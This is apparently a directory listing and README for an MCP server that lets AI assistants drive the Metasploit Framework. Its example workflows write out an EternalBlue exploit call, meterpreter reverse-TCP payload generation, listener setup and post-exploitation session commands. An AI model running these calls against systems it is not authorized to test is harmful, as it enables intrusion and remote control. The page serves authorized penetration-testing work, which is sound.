Integrations
Provides a bridge to the Metasploit Framework penetration testing platform, enabling exploitation workflows, payload generation and execution, post-exploitation tools, listener management, and auxiliary module support.
Metasploit MCP Server
A Model Context Protocol (MCP) server for Metasploit Framework integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Description
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
Features
Module Information
- list_exploits: Search and list available Metasploit exploit modules
- list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering
Exploitation Workflow
- run_exploit: Configure and execute an exploit against a target with options to run checks first
- run_auxiliary_module: Run any Metasploit auxiliary module with custom options
- run_post_module: Execute post-exploitation modules against existing sessions
Payload Generation
- generate_payload: Generate payload files using Metasploit RPC (saves files locally)
Session Management
- list_active_sessions: Show current Metasploit sessions with detailed information
- send_session_command: Run a command in an active shell or Meterpreter session
- terminate_session: Forcefully end an active session
Handler Management
- list_listeners: Show all active handlers and background jobs
- start_listener: Create a new multi/handler to receive connections
- stop_job: Terminate any running job or handler
Prerequisites
- Metasploit Framework installed and msfrpcd running
- Python 3.10 or higher
- Required Python packages (see requirements.txt)
Installation
- Clone this repository
- Install dependencies:Copy
- Configure environment variables (optional):Copy
Usage
Start the Metasploit RPC service:
Transport Options
The server supports two transport methods:
- HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
- STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections
You can explicitly select the transport mode using the --transport
flag:
Additional options for HTTP mode:
Claude Desktop Integration
For Claude Desktop integration, configure claude_desktop_config.json
:
Other MCP Clients
For other MCP clients that use HTTP/SSE:
- Start the server in HTTP mode:Copy
- Configure your MCP client to connect to:
- SSE endpoint:
http://your-server-ip:8085/sse
- SSE endpoint:
Security Considerations
⚠️ IMPORTANT SECURITY WARNING:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
- Always validate and review all commands before execution
- Only run in segregated test environments or with proper authorization
- Be aware that post-exploitation commands can result in significant system modifications
Example Workflows
Basic Exploitation
- List available exploits:
list_exploits("ms17_010")
- Select and run an exploit:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
- List sessions:
list_active_sessions()
- Run commands:
send_session_command(1, "whoami")
Post-Exploitation
- Run a post module:
run_post_module("windows/gather/enum_logged_on_users", 1)
- Send custom commands:
send_session_command(1, "sysinfo")
- Terminate when done:
terminate_session(1)
Handler Management
- Start a listener:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
- List active handlers:
list_listeners()
- Generate a payload:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
- Stop a handler:
stop_job(1)
Configuration Options
Payload Save Directory
By default, payloads generated with generate_payload
are saved to a payloads
directory in your home folder (~/payloads
or C:\Users\YourUsername\payloads
). You can customize this location by setting the PAYLOAD_SAVE_DIR
environment variable.
Setting the environment variable:
- Windows (PowerShell):Copy
- Windows (Command Prompt):Copy
- Linux/macOS:Copy
- In Claude Desktop config:Copy
Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
License
Apache 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
Provides a bridge between large language models and the Metasploit Framework, enabling AI assistants to access and control penetration testing functionality through natural language.
Related MCP Servers
- -securityFlicense-qualityA demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.Last updated -11Python
- -securityFlicense-qualityEnables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.Last updated -JavaScript
- -securityAlicense-qualityA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.Last updated -PythonApache 2.0
- AsecurityFlicenseAqualityA Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.Last updated -210Python